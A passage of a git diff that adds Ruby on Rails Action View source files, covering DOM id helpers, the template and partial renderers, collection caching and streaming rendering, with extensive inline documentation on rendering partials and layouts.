+  #     <input type="text" value="What a wonderful world!" name="post[body]" id="post_body" />
+  #   </form>
+  #
+  # In both cases, the +id+ and +class+ of the wrapping DOM element are
+  # automatically generated, following naming conventions encapsulated by the
+  # RecordIdentifier methods #dom_id and #dom_class:
+  #
+  #   dom_id(Post.new)         # => "new_post"
+  #   dom_class(Post.new)      # => "post"
+  #   dom_id(Post.find 42)     # => "post_42"
+  #   dom_class(Post.find 42)  # => "post"
+  #
+  # Note that these methods do not strictly require +Post+ to be a subclass of
+  # ActiveRecord::Base.
+  # Any +Post+ class will work as long as its instances respond to +to_key+
+  # and +model_name+, given that +model_name+ responds to +param_key+.
+  # For instance:
+  #
+  #   class Post
+  #     attr_accessor :to_key
+  #
+  #     def model_name
+  #       OpenStruct.new param_key: 'post'
+  #     end
+  #
+  #     def self.find(id)
+  #       new.tap { |post| post.to_key = [id] }
+  #     end
+  #   end
+  module RecordIdentifier
+    extend self
+    extend ModelNaming
+
+    include ModelNaming
+
+    JOIN = "_".freeze
+    NEW = "new".freeze
+
+    # The DOM class convention is to use the singular form of an object or class.
+    #
+    #   dom_class(post)   # => "post"
+    #   dom_class(Person) # => "person"
+    #
+    # If you need to address multiple instances of the same class in the same view, you can prefix the dom_class:
+    #
+    #   dom_class(post, :edit)   # => "edit_post"
+    #   dom_class(Person, :edit) # => "edit_person"
+    def dom_class(record_or_class, prefix = nil)
+      singular = model_name_from_record_or_class(record_or_class).param_key
+      prefix ? "#{prefix}#{JOIN}#{singular}" : singular
+    end
+
+    # The DOM id convention is to use the singular form of an object or class with the id following an underscore.
+    # If no id is found, prefix with "new_" instead.
+    #
+    #   dom_id(Post.find(45))       # => "post_45"
+    #   dom_id(Post.new)            # => "new_post"
+    #
+    # If you need to address multiple instances of the same class in the same view, you can prefix the dom_id:
+    #
+    #   dom_id(Post.find(45), :edit) # => "edit_post_45"
+    #   dom_id(Post.new, :custom)    # => "custom_post"
+    def dom_id(record, prefix = nil)
+      if record_id = record_key_for_dom_id(record)
+        "#{dom_class(record, prefix)}#{JOIN}#{record_id}"
+      else
+        dom_class(record, prefix || NEW)
+      end
+    end
+
+  private
+
+    # Returns a string representation of the key attribute(s) that is suitable for use in an HTML DOM id.
+    # This can be overwritten to customize the default generated string representation if desired.
+    # If you need to read back a key from a dom_id in order to query for the underlying database record,
+    # you should write a helper like 'person_record_from_dom_id' that will extract the key either based
+    # on the default implementation (which just joins all key attributes with '_') or on your own
+    # overwritten version of the method. By default, this implementation passes the key string through a
+    # method that replaces all characters that are invalid inside DOM ids, with valid ones. You need to
+    # make sure yourself that your dom ids are valid, in case you overwrite this method.
+    def record_key_for_dom_id(record) # :doc:
+      key = convert_to_model(record).to_key
+      key ? key.join(JOIN) : key
+    end
+  end
+end
diff --git a/actionview/lib/action_view/renderer/abstract_renderer.rb b/actionview/lib/action_view/renderer/abstract_renderer.rb
new file mode 100644
index 0000000000..20b2523cac
--- /dev/null
+++ b/actionview/lib/action_view/renderer/abstract_renderer.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+module ActionView
+  # This class defines the interface for a renderer. Each class that
+  # subclasses +AbstractRenderer+ is used by the base +Renderer+ class to
+  # render a specific type of object.
+  #
+  # The base +Renderer+ class uses its +render+ method to delegate to the
+  # renderers. These currently consist of
+  #
+  #   PartialRenderer - Used for rendering partials
+  #   TemplateRenderer - Used for rendering other types of templates
+  #   StreamingTemplateRenderer - Used for streaming
+  #
+  # Whenever the +render+ method is called on the base +Renderer+ class, a new
+  # renderer object of the correct type is created, and the +render+ method on
+  # that new object is called in turn. This abstracts the setup and rendering
+  # into a separate classes for partials and templates.
+  class AbstractRenderer #:nodoc:
+    delegate :find_template, :find_file, :template_exists?, :any_templates?, :with_fallbacks, :with_layout_format, :formats, to: :@lookup_context
+
+    def initialize(lookup_context)
+      @lookup_context = lookup_context
+    end
+
+    def render
+      raise NotImplementedError
+    end
+
+    private
+
+      def extract_details(options) # :doc:
+        @lookup_context.registered_details.each_with_object({}) do |key, details|
+          value = options[key]
+
+          details[key] = Array(value) if value
+        end
+      end
+
+      def instrument(name, **options) # :doc:
+        options[:identifier] ||= (@template && @template.identifier) || @path
+
+        ActiveSupport::Notifications.instrument("render_#{name}.action_view", options) do |payload|
+          yield payload
+        end
+      end
+
+      def prepend_formats(formats) # :doc:
+        formats = Array(formats)
+        return if formats.empty? || @lookup_context.html_fallback_for_js
+
+        @lookup_context.formats = formats | @lookup_context.formats
+      end
+  end
+end
diff --git a/actionview/lib/action_view/renderer/partial_renderer.rb b/actionview/lib/action_view/renderer/partial_renderer.rb
new file mode 100644
index 0000000000..f548fc24ed
--- /dev/null
+++ b/actionview/lib/action_view/renderer/partial_renderer.rb
@@ -0,0 +1,552 @@
+# frozen_string_literal: true
+
+require "concurrent/map"
+require_relative "partial_renderer/collection_caching"
+
+module ActionView
+  class PartialIteration
+    # The number of iterations that will be done by the partial.
+    attr_reader :size
+
+    # The current iteration of the partial.
+    attr_reader :index
+
+    def initialize(size)
+      @size  = size
+      @index = 0
+    end
+
+    # Check if this is the first iteration of the partial.
+    def first?
+      index == 0
+    end
+
+    # Check if this is the last iteration of the partial.
+    def last?
+      index == size - 1
+    end
+
+    def iterate! # :nodoc:
+      @index += 1
+    end
+  end
+
+  # = Action View Partials
+  #
+  # There's also a convenience method for rendering sub templates within the current controller that depends on a
+  # single object (we call this kind of sub templates for partials). It relies on the fact that partials should
+  # follow the naming convention of being prefixed with an underscore -- as to separate them from regular
+  # templates that could be rendered on their own.
+  #
+  # In a template for Advertiser#account:
+  #
+  #  <%= render partial: "account" %>
+  #
+  # This would render "advertiser/_account.html.erb".
+  #
+  # In another template for Advertiser#buy, we could have:
+  #
+  #   <%= render partial: "account", locals: { account: @buyer } %>
+  #
+  #   <% @advertisements.each do |ad| %>
+  #     <%= render partial: "ad", locals: { ad: ad } %>
+  #   <% end %>
+  #
+  # This would first render "advertiser/_account.html.erb" with @buyer passed in as the local variable +account+, then
+  # render "advertiser/_ad.html.erb" and pass the local variable +ad+ to the template for display.
+  #
+  # == The :as and :object options
+  #
+  # By default <tt>ActionView::PartialRenderer</tt> doesn't have any local variables.
+  # The <tt>:object</tt> option can be used to pass an object to the partial. For instance:
+  #
+  #   <%= render partial: "account", object: @buyer %>
+  #
+  # would provide the <tt>@buyer</tt> object to the partial, available under the local variable +account+ and is
+  # equivalent to:
+  #
+  #   <%= render partial: "account", locals: { account: @buyer } %>
+  #
+  # With the <tt>:as</tt> option we can specify a different name for said local variable. For example, if we
+  # wanted it to be +user+ instead of +account+ we'd do:
+  #
+  #   <%= render partial: "account", object: @buyer, as: 'user' %>
+  #
+  # This is equivalent to
+  #
+  #   <%= render partial: "account", locals: { user: @buyer } %>
+  #
+  # == \Rendering a collection of partials
+  #
+  # The example of partial use describes a familiar pattern where a template needs to iterate over an array and
+  # render a sub template for each of the elements. This pattern has been implemented as a single method that
+  # accepts an array and renders a partial by the same name as the elements contained within. So the three-lined
+  # example in "Using partials" can be rewritten with a single line:
+  #
+  #   <%= render partial: "ad", collection: @advertisements %>
+  #
+  # This will render "advertiser/_ad.html.erb" and pass the local variable +ad+ to the template for display. An
+  # iteration object will automatically be made available to the template with a name of the form
+  # +partial_name_iteration+. The iteration object has knowledge about which index the current object has in
+  # the collection and the total size of the collection. The iteration object also has two convenience methods,
+  # +first?+ and +last?+. In the case of the example above, the template would be fed +ad_iteration+.
+  # For backwards compatibility the +partial_name_counter+ is still present and is mapped to the iteration's
+  # +index+ method.
+  #
+  # The <tt>:as</tt> option may be used when rendering partials.
+  #
+  # You can specify a partial to be rendered between elements via the <tt>:spacer_template</tt> option.
+  # The following example will render <tt>advertiser/_ad_divider.html.erb</tt> between each ad partial:
+  #
+  #   <%= render partial: "ad", collection: @advertisements, spacer_template: "ad_divider" %>
+  #
+  # If the given <tt>:collection</tt> is +nil+ or empty, <tt>render</tt> will return nil. This will allow you
+  # to specify a text which will be displayed instead by using this form:
+  #
+  #   <%= render(partial: "ad", collection: @advertisements) || "There's no ad to be displayed" %>
+  #
+  # NOTE: Due to backwards compatibility concerns, the collection can't be one of hashes. Normally you'd also
+  # just keep domain objects, like Active Records, in there.
+  #
+  # == \Rendering shared partials
+  #
+  # Two controllers can share a set of partials and render them like this:
+  #
+  #   <%= render partial: "advertisement/ad", locals: { ad: @advertisement } %>
+  #
+  # This will render the partial "advertisement/_ad.html.erb" regardless of which controller this is being called from.
+  #
+  # == \Rendering objects that respond to `to_partial_path`
+  #
+  # Instead of explicitly naming the location of a partial, you can also let PartialRenderer do the work
+  # and pick the proper path by checking `to_partial_path` method.
+  #
+  #  # @account.to_partial_path returns 'accounts/account', so it can be used to replace:
+  #  # <%= render partial: "accounts/account", locals: { account: @account} %>
+  #  <%= render partial: @account %>
+  #
+  #  # @posts is an array of Post instances, so every post record returns 'posts/post' on `to_partial_path`,
+  #  # that's why we can replace:
+  #  # <%= render partial: "posts/post", collection: @posts %>
+  #  <%= render partial: @posts %>
+  #
+  # == \Rendering the default case
+  #
+  # If you're not going to be using any of the options like collections or layouts, you can also use the short-hand
+  # defaults of render to render partials. Examples:
+  #
+  #  # Instead of <%= render partial: "account" %>
+  #  <%= render "account" %>
+  #
+  #  # Instead of <%= render partial: "account", locals: { account: @buyer } %>
+  #  <%= render "account", account: @buyer %>
+  #
+  #  # @account.to_partial_path returns 'accounts/account', so it can be used to replace:
+  #  # <%= render partial: "accounts/account", locals: { account: @account} %>
+  #  <%= render @account %>
+  #
+  #  # @posts is an array of Post instances, so every post record returns 'posts/post' on `to_partial_path`,
+  #  # that's why we can replace:
+  #  # <%= render partial: "posts/post", collection: @posts %>
+  #  <%= render @posts %>
+  #
+  # == \Rendering partials with layouts
+  #
+  # Partials can have their own layouts applied to them. These layouts are different than the ones that are
+  # specified globally for the entire action, but they work in a similar fashion. Imagine a list with two types
+  # of users:
+  #
+  #   <%# app/views/users/index.html.erb %>
+  #   Here's the administrator:
+  #   <%= render partial: "user", layout: "administrator", locals: { user: administrator } %>
+  #
+  #   Here's the editor:
+  #   <%= render partial: "user", layout: "editor", locals: { user: editor } %>
+  #
+  #   <%# app/views/users/_user.html.erb %>
+  #   Name: <%= user.name %>
+  #
+  #   <%# app/views/users/_administrator.html.erb %>
+  #   <div id="administrator">
+  #     Budget: $<%= user.budget %>
+  #     <%= yield %>
+  #   </div>
+  #
+  #   <%# app/views/users/_editor.html.erb %>
+  #   <div id="editor">
+  #     Deadline: <%= user.deadline %>
+  #     <%= yield %>
+  #   </div>
+  #
+  # ...this will return:
+  #
+  #   Here's the administrator:
+  #   <div id="administrator">
+  #     Budget: $<%= user.budget %>
+  #     Name: <%= user.name %>
+  #   </div>
+  #
+  #   Here's the editor:
+  #   <div id="editor">
+  #     Deadline: <%= user.deadline %>
+  #     Name: <%= user.name %>
+  #   </div>
+  #
+  # If a collection is given, the layout will be rendered once for each item in
+  # the collection. For example, these two snippets have the same output:
+  #
+  #   <%# app/views/users/_user.html.erb %>
+  #   Name: <%= user.name %>
+  #
+  #   <%# app/views/users/index.html.erb %>
+  #   <%# This does not use layouts %>
+  #   <ul>
+  #     <% users.each do |user| -%>
+  #       <li>
+  #         <%= render partial: "user", locals: { user: user } %>
+  #       </li>
+  #     <% end -%>
+  #   </ul>
+  #
+  #   <%# app/views/users/_li_layout.html.erb %>
+  #   <li>
+  #     <%= yield %>
+  #   </li>
+  #
+  #   <%# app/views/users/index.html.erb %>
+  #   <ul>
+  #     <%= render partial: "user", layout: "li_layout", collection: users %>
+  #   </ul>
+  #
+  # Given two users whose names are Alice and Bob, these snippets return:
+  #
+  #   <ul>
+  #     <li>
+  #       Name: Alice
+  #     </li>
+  #     <li>
+  #       Name: Bob
+  #     </li>
+  #   </ul>
+  #
+  # The current object being rendered, as well as the object_counter, will be
+  # available as local variables inside the layout template under the same names
+  # as available in the partial.
+  #
+  # You can also apply a layout to a block within any template:
+  #
+  #   <%# app/views/users/_chief.html.erb %>
+  #   <%= render(layout: "administrator", locals: { user: chief }) do %>
+  #     Title: <%= chief.title %>
+  #   <% end %>
+  #
+  # ...this will return:
+  #
+  #   <div id="administrator">
+  #     Budget: $<%= user.budget %>
+  #     Title: <%= chief.name %>
+  #   </div>
+  #
+  # As you can see, the <tt>:locals</tt> hash is shared between both the partial and its layout.
+  #
+  # If you pass arguments to "yield" then this will be passed to the block. One way to use this is to pass
+  # an array to layout and treat it as an enumerable.
+  #
+  #   <%# app/views/users/_user.html.erb %>
+  #   <div class="user">
+  #     Budget: $<%= user.budget %>
+  #     <%= yield user %>
+  #   </div>
+  #
+  #   <%# app/views/users/index.html.erb %>
+  #   <%= render layout: @users do |user| %>
+  #     Title: <%= user.title %>
+  #   <% end %>
+  #
+  # This will render the layout for each user and yield to the block, passing the user, each time.
+  #
+  # You can also yield multiple times in one layout and use block arguments to differentiate the sections.
+  #
+  #   <%# app/views/users/_user.html.erb %>
+  #   <div class="user">
+  #     <%= yield user, :header %>
+  #     Budget: $<%= user.budget %>
+  #     <%= yield user, :footer %>
+  #   </div>
+  #
+  #   <%# app/views/users/index.html.erb %>
+  #   <%= render layout: @users do |user, section| %>
+  #     <%- case section when :header -%>
+  #       Title: <%= user.title %>
+  #     <%- when :footer -%>
+  #       Deadline: <%= user.deadline %>
+  #     <%- end -%>
+  #   <% end %>
+  class PartialRenderer < AbstractRenderer
+    include CollectionCaching
+
+    PREFIXED_PARTIAL_NAMES = Concurrent::Map.new do |h, k|
+      h[k] = Concurrent::Map.new
+    end
+
+    def initialize(*)
+      super
+      @context_prefix = @lookup_context.prefixes.first
+    end
+
+    def render(context, options, block)
+      setup(context, options, block)
+      @template = find_partial
+
+      @lookup_context.rendered_format ||= begin
+        if @template && @template.formats.present?
+          @template.formats.first
+        else
+          formats.first
+        end
+      end
+
+      if @collection
+        render_collection
+      else
+        render_partial
+      end
+    end
+
+    private
+
+      def render_collection
+        instrument(:collection, count: @collection.size) do |payload|
+          return nil if @collection.blank?
+
+          if @options.key?(:spacer_template)
+            spacer = find_template(@options[:spacer_template], @locals.keys).render(@view, @locals)
+          end
+
+          cache_collection_render(payload) do
+            @template ? collection_with_template : collection_without_template
+          end.join(spacer).html_safe
+        end
+      end
+
+      def render_partial
+        instrument(:partial) do |payload|
+          view, locals, block = @view, @locals, @block
+          object, as = @object, @variable
+
+          if !block && (layout = @options[:layout])
+            layout = find_template(layout.to_s, @template_keys)
+          end
+
+          object = locals[as] if object.nil? # Respect object when object is false
+          locals[as] = object if @has_object
+
+          content = @template.render(view, locals) do |*name|
+            view._layout_for(*name, &block)
+          end
+
+          content = layout.render(view, locals) { content } if layout
+          payload[:cache_hit] = view.view_renderer.cache_hits[@template.virtual_path]
+          content
+        end
+      end
+
+      # Sets up instance variables needed for rendering a partial. This method
+      # finds the options and details and extracts them. The method also contains
+      # logic that handles the type of object passed in as the partial.
+      #
+      # If +options[:partial]+ is a string, then the +@path+ instance variable is
+      # set to that string. Otherwise, the +options[:partial]+ object must
+      # respond to +to_partial_path+ in order to setup the path.
+      def setup(context, options, block)
+        @view = context
+        @options = options
+        @block   = block
+
+        @locals  = options[:locals] || {}
+        @details = extract_details(options)
+
+        prepend_formats(options[:formats])
+
+        partial = options[:partial]
+
+        if String === partial
+          @has_object = options.key?(:object)
+          @object     = options[:object]
+          @collection = collection_from_options
+          @path       = partial
+        else
+          @has_object = true
+          @object = partial
+          @collection = collection_from_object || collection_from_options
+
+          if @collection
+            paths = @collection_data = @collection.map { |o| partial_path(o) }
+            @path = paths.uniq.one? ? paths.first : nil
+          else
+            @path = partial_path
+          end
+        end
+
+        if as = options[:as]
+          raise_invalid_option_as(as) unless /\A[a-z_]\w*\z/.match?(as.to_s)
+          as = as.to_sym
+        end
+
+        if @path
+          @variable, @variable_counter, @variable_iteration = retrieve_variable(@path, as)
+          @template_keys = retrieve_template_keys
+        else
+          paths.map! { |path| retrieve_variable(path, as).unshift(path) }
+        end
+
+        self
+      end
+
+      def collection_from_options
+        if @options.key?(:collection)
+          collection = @options[:collection]
+          collection ? collection.to_a : []
+        end
+      end
+
+      def collection_from_object
+        @object.to_ary if @object.respond_to?(:to_ary)
+      end
+
+      def find_partial
+        find_template(@path, @template_keys) if @path
+      end
+
+      def find_template(path, locals)
+        prefixes = path.include?(?/) ? [] : @lookup_context.prefixes
+        @lookup_context.find_template(path, prefixes, true, locals, @details)
+      end
+
+      def collection_with_template
+        view, locals, template = @view, @locals, @template
+        as, counter, iteration = @variable, @variable_counter, @variable_iteration
+
+        if layout = @options[:layout]
+          layout = find_template(layout, @template_keys)
+        end
+
+        partial_iteration = PartialIteration.new(@collection.size)
+        locals[iteration] = partial_iteration
+
+        @collection.map do |object|
+          locals[as]        = object
+          locals[counter]   = partial_iteration.index
+
+          content = template.render(view, locals)
+          content = layout.render(view, locals) { content } if layout
+          partial_iteration.iterate!
+          content
+        end
+      end
+
+      def collection_without_template
+        view, locals, collection_data = @view, @locals, @collection_data
+        cache = {}
+        keys  = @locals.keys
+
+        partial_iteration = PartialIteration.new(@collection.size)
+
+        @collection.map do |object|
+          index = partial_iteration.index
+          path, as, counter, iteration = collection_data[index]
+
+          locals[as]        = object
+          locals[counter]   = index
+          locals[iteration] = partial_iteration
+
+          template = (cache[path] ||= find_template(path, keys + [as, counter, iteration]))
+          content = template.render(view, locals)
+          partial_iteration.iterate!
+          content
+        end
+      end
+
+      # Obtains the path to where the object's partial is located. If the object
+      # responds to +to_partial_path+, then +to_partial_path+ will be called and
+      # will provide the path. If the object does not respond to +to_partial_path+,
+      # then an +ArgumentError+ is raised.
+      #
+      # If +prefix_partial_path_with_controller_namespace+ is true, then this
+      # method will prefix the partial paths with a namespace.
+      def partial_path(object = @object)
+        object = object.to_model if object.respond_to?(:to_model)
+
+        path = if object.respond_to?(:to_partial_path)
+          object.to_partial_path
+        else
+          raise ArgumentError.new("'#{object.inspect}' is not an ActiveModel-compatible object. It must implement :to_partial_path.")
+        end
+
+        if @view.prefix_partial_path_with_controller_namespace
+          prefixed_partial_names[path] ||= merge_prefix_into_object_path(@context_prefix, path.dup)
+        else
+          path
+        end
+      end
+
+      def prefixed_partial_names
+        @prefixed_partial_names ||= PREFIXED_PARTIAL_NAMES[@context_prefix]
+      end
+
+      def merge_prefix_into_object_path(prefix, object_path)
+        if prefix.include?(?/) && object_path.include?(?/)
+          prefixes = []
+          prefix_array = File.dirname(prefix).split("/")
+          object_path_array = object_path.split("/")[0..-3] # skip model dir & partial
+
+          prefix_array.each_with_index do |dir, index|
+            break if dir == object_path_array[index]
+            prefixes << dir
+          end
+
+          (prefixes << object_path).join("/")
+        else
+          object_path
+        end
+      end
+
+      def retrieve_template_keys
+        keys = @locals.keys
+        keys << @variable if @has_object || @collection
+        if @collection
+          keys << @variable_counter
+          keys << @variable_iteration
+        end
+        keys
+      end
+
+      def retrieve_variable(path, as)
+        variable = as || begin
+          base = path[-1] == "/".freeze ? "".freeze : File.basename(path)
+          raise_invalid_identifier(path) unless base =~ /\A_?(.*?)(?:\.\w+)*\z/
+          $1.to_sym
+        end
+        if @collection
+          variable_counter = :"#{variable}_counter"
+          variable_iteration = :"#{variable}_iteration"
+        end
+        [variable, variable_counter, variable_iteration]
+      end
+
+      IDENTIFIER_ERROR_MESSAGE = "The partial name (%s) is not a valid Ruby identifier; " \
+                                 "make sure your partial name starts with underscore."
+
+      OPTION_AS_ERROR_MESSAGE  = "The value (%s) of the option `as` is not a valid Ruby identifier; " \
+                                 "make sure it starts with lowercase letter, " \
+                                 "and is followed by any combination of letters, numbers and underscores."
+
+      def raise_invalid_identifier(path)
+        raise ArgumentError.new(IDENTIFIER_ERROR_MESSAGE % (path))
+      end
+
+      def raise_invalid_option_as(as)
+        raise ArgumentError.new(OPTION_AS_ERROR_MESSAGE % (as))
+      end
+  end
+end
diff --git a/actionview/lib/action_view/renderer/partial_renderer/collection_caching.rb b/actionview/lib/action_view/renderer/partial_renderer/collection_caching.rb
new file mode 100644
index 0000000000..db52919e91
--- /dev/null
+++ b/actionview/lib/action_view/renderer/partial_renderer/collection_caching.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+module ActionView
+  module CollectionCaching # :nodoc:
+    extend ActiveSupport::Concern
+
+    included do
+      # Fallback cache store if Action View is used without Rails.
+      # Otherwise overridden in Railtie to use Rails.cache.
+      mattr_accessor :collection_cache, default: ActiveSupport::Cache::MemoryStore.new
+    end
+
+    private
+      def cache_collection_render(instrumentation_payload)
+        return yield unless @options[:cached]
+
+        keyed_collection = collection_by_cache_keys
+        cached_partials  = collection_cache.read_multi(*keyed_collection.keys)
+        instrumentation_payload[:cache_hits] = cached_partials.size
+
+        @collection = keyed_collection.reject { |key, _| cached_partials.key?(key) }.values
+        rendered_partials = @collection.empty? ? [] : yield
+
+        index = 0
+        fetch_or_cache_partial(cached_partials, order_by: keyed_collection.each_key) do
+          rendered_partials[index].tap { index += 1 }
+        end
+      end
+
+      def callable_cache_key?
+        @options[:cached].respond_to?(:call)
+      end
+
+      def collection_by_cache_keys
+        seed = callable_cache_key? ? @options[:cached] : ->(i) { i }
+
+        @collection.each_with_object({}) do |item, hash|
+          hash[expanded_cache_key(seed.call(item))] = item
+        end
+      end
+
+      def expanded_cache_key(key)
+        key = @view.combined_fragment_cache_key(@view.cache_fragment_name(key, virtual_path: @template.virtual_path))
+        key.frozen? ? key.dup : key # #read_multi & #write may require mutability, Dalli 2.6.0.
+      end
+
+      def fetch_or_cache_partial(cached_partials, order_by:)
+        order_by.map do |cache_key|
+          cached_partials.fetch(cache_key) do
+            yield.tap do |rendered_partial|
+              collection_cache.write(cache_key, rendered_partial)
+            end
+          end
+        end
+      end
+  end
+end
diff --git a/actionview/lib/action_view/renderer/renderer.rb b/actionview/lib/action_view/renderer/renderer.rb
new file mode 100644
index 0000000000..3f3a97529d
--- /dev/null
+++ b/actionview/lib/action_view/renderer/renderer.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+module ActionView
+  # This is the main entry point for rendering. It basically delegates
+  # to other objects like TemplateRenderer and PartialRenderer which
+  # actually renders the template.
+  #
+  # The Renderer will parse the options from the +render+ or +render_body+
+  # method and render a partial or a template based on the options. The
+  # +TemplateRenderer+ and +PartialRenderer+ objects are wrappers which do all
+  # the setup and logic necessary to render a view and a new object is created
+  # each time +render+ is called.
+  class Renderer
+    attr_accessor :lookup_context
+
+    def initialize(lookup_context)
+      @lookup_context = lookup_context
+    end
+
+    # Main render entry point shared by Action View and Action Controller.
+    def render(context, options)
+      if options.key?(:partial)
+        render_partial(context, options)
+      else
+        render_template(context, options)
+      end
+    end
+
+    # Render but returns a valid Rack body. If fibers are defined, we return
+    # a streaming body that renders the template piece by piece.
+    #
+    # Note that partials are not supported to be rendered with streaming,
+    # so in such cases, we just wrap them in an array.
+    def render_body(context, options)
+      if options.key?(:partial)
+        [render_partial(context, options)]
+      else
+        StreamingTemplateRenderer.new(@lookup_context).render(context, options)
+      end
+    end
+
+    # Direct access to template rendering.
+    def render_template(context, options) #:nodoc:
+      TemplateRenderer.new(@lookup_context).render(context, options)
+    end
+
+    # Direct access to partial rendering.
+    def render_partial(context, options, &block) #:nodoc:
+      PartialRenderer.new(@lookup_context).render(context, options, block)
+    end
+
+    def cache_hits # :nodoc:
+      @cache_hits ||= {}
+    end
+  end
+end
diff --git a/actionview/lib/action_view/renderer/streaming_template_renderer.rb b/actionview/lib/action_view/renderer/streaming_template_renderer.rb
new file mode 100644
index 0000000000..ca49eb1144
--- /dev/null
+++ b/actionview/lib/action_view/renderer/streaming_template_renderer.rb
@@ -0,0 +1,103 @@
+# frozen_string_literal: true
+
+require "fiber"
+
+module ActionView
+  # == TODO
+  #
+  # * Support streaming from child templates, partials and so on.
+  # * Rack::Cache needs to support streaming bodies
+  class StreamingTemplateRenderer < TemplateRenderer #:nodoc:
+    # A valid Rack::Body (i.e. it responds to each).
+    # It is initialized with a block that, when called, starts
+    # rendering the template.
+    class Body #:nodoc:
+      def initialize(&start)
+        @start = start
+      end
+
+      def each(&block)
+        begin
+          @start.call(block)
+        rescue Exception => exception
+          log_error(exception)
+          block.call ActionView::Base.streaming_completion_on_exception
+        end
+        self
+      end
+
+      private
+
+        # This is the same logging logic as in ShowExceptions middleware.
+        def log_error(exception)
+          logger = ActionView::Base.logger
+          return unless logger
+
+          message = "\n#{exception.class} (#{exception.message}):\n".dup
+          message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code)
+          message << "  " << exception.backtrace.join("\n  ")
+          logger.fatal("#{message}\n\n")
+        end
+    end
+
+    # For streaming, instead of rendering a given a template, we return a Body
+    # object that responds to each. This object is initialized with a block
+    # that knows how to render the template.
+    def render_template(template, layout_name = nil, locals = {}) #:nodoc:
+      return [super] unless layout_name && template.supports_streaming?
+
+      locals ||= {}
+      layout   = layout_name && find_layout(layout_name, locals.keys, [formats.first])
+
+      Body.new do |buffer|
+        delayed_render(buffer, template, layout, @view, locals)
+      end
+    end
+
+    private
+
+      def delayed_render(buffer, template, layout, view, locals)
+        # Wrap the given buffer in the StreamingBuffer and pass it to the
+        # underlying template handler. Now, every time something is concatenated
+        # to the buffer, it is not appended to an array, but streamed straight
+        # to the client.
+        output  = ActionView::StreamingBuffer.new(buffer)
+        yielder = lambda { |*name| view._layout_for(*name) }
+
+        instrument(:template, identifier: template.identifier, layout: layout.try(:virtual_path)) do
+          fiber = Fiber.new do
+            if layout
+              layout.render(view, locals, output, &yielder)
+            else
+              # If you don't have a layout, just render the thing
+              # and concatenate the final result. This is the same
+              # as a layout with just <%= yield %>
+              output.safe_concat view._layout_for
+            end
+          end
+
+          # Set the view flow to support streaming. It will be aware
+          # when to stop rendering the layout because it needs to search
+          # something in the template and vice-versa.
+          view.view_flow = StreamingFlow.new(view, fiber)
+
+          # Yo! Start the fiber!
+          fiber.resume
+
+          # If the fiber is still alive, it means we need something
+          # from the template, so start rendering it. If not, it means
+          # the layout exited without requiring anything from the template.
+          if fiber.alive?
+            content = template.render(view, locals, &yielder)
+
+            # Once rendering the template is done, sets its content in the :layout key.
+            view.view_flow.set(:layout, content)
+
+            # In case the layout continues yielding, we need to resume
+            # the fiber until all yields are handled.
+            fiber.resume while fiber.alive?
+          end
+        end
+      end
+  end
+end
diff --git a/actionview/lib/action_view/renderer/template_renderer.rb b/actionview/lib/action_view/renderer/template_renderer.rb
new file mode 100644
index 0000000000..ce8908924a
--- /dev/null
+++ b/actionview/lib/action_view/renderer/template_renderer.rb
@@ -0,0 +1,102 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/try"
+
+module ActionView
+  class TemplateRenderer < AbstractRenderer #:nodoc:
+    def render(context, options)
+      @view    = context
+      @details = extract_details(options)
+      template = determine_template(options)
+
+      prepend_formats(template.formats)
+
+      @lookup_context.rendered_format ||= (template.formats.first || formats.first)
+
+      render_template(template, options[:layout], options[:locals])
+    end
+
+    private
+
+      # Determine the template to be rendered using the given options.
+      def determine_template(options)
+        keys = options.has_key?(:locals) ? options[:locals].keys : []
+
+        if options.key?(:body)
+          Template::Text.new(options[:body])
+        elsif options.key?(:plain)
+          Template::Text.new(options[:plain])
+        elsif options.key?(:html)
+          Template::HTML.new(options[:html], formats.first)
+        elsif options.key?(:file)
+          with_fallbacks { find_file(options[:file], nil, false, keys, @details) }
+        elsif options.key?(:inline)
+          handler = Template.handler_for_extension(options[:type] || "erb")
+          Template.new(options[:inline], "inline template", handler, locals: keys)
+        elsif options.key?(:template)
+          if options[:template].respond_to?(:render)
+            options[:template]
+          else
+            find_template(options[:template], options[:prefixes], false, keys, @details)
+          end
+        else
+          raise ArgumentError, "You invoked render but did not give any of :partial, :template, :inline, :file, :plain, :html or :body option."
+        end
+      end
+
+      # Renders the given template. A string representing the layout can be
+      # supplied as well.
+      def render_template(template, layout_name = nil, locals = nil)
+        view, locals = @view, locals || {}
+
+        render_with_layout(layout_name, locals) do |layout|
+          instrument(:template, identifier: template.identifier, layout: layout.try(:virtual_path)) do
+            template.render(view, locals) { |*name| view._layout_for(*name) }
+          end
+        end
+      end
+
+      def render_with_layout(path, locals)
+        layout  = path && find_layout(path, locals.keys, [formats.first])
+        content = yield(layout)
+
+        if layout
+          view = @view
+          view.view_flow.set(:layout, content)
+          layout.render(view, locals) { |*name| view._layout_for(*name) }
+        else
+          content
+        end
+      end
+
+      # This is the method which actually finds the layout using details in the lookup
+      # context object. If no layout is found, it checks if at least a layout with
+      # the given name exists across all details before raising the error.
+      def find_layout(layout, keys, formats)
+        resolve_layout(layout, keys, formats)
+      end
+
+      def resolve_layout(layout, keys, formats)
+        details = @details.dup
+        details[:formats] = formats
+
+        case layout
+        when String
+          begin
+            if layout.start_with?("/")
+              with_fallbacks { find_template(layout, nil, false, [], details) }
+            else
+              find_template(layout, nil, false, [], details)
+            end
+          rescue ActionView::MissingTemplate
+            all_details = @details.merge(formats: @lookup_context.default_formats)
+            raise unless template_exists?(layout, nil, false, [], all_details)
+          end
+        when Proc
+          resolve_layout(layout.call(formats), keys, formats)
+        else
+          layout
+        end
+      end
+  end
+end
diff --git a/actionview/lib/action_view/rendering.rb b/actionview/lib/action_view/rendering.rb
new file mode 100644
index 0000000000..2648f9153f
--- /dev/null
+++ b/actionview/lib/action_view/rendering.rb
@@ -0,0 +1,155 @@
+# frozen_string_literal: true
+
+require_relative "view_paths"
+
+module ActionView
+  # This is a class to fix I18n global state. Whenever you provide I18n.locale during a request,
+  # it will trigger the lookup_context and consequently expire the cache.
+  class I18nProxy < ::I18n::Config #:nodoc:
+    attr_reader :original_config, :lookup_context
+
+    def initialize(original_config, lookup_context)
+      original_config = original_config.original_config if original_config.respond_to?(:original_config)
+      @original_config, @lookup_context = original_config, lookup_context
+    end
+
+    def locale
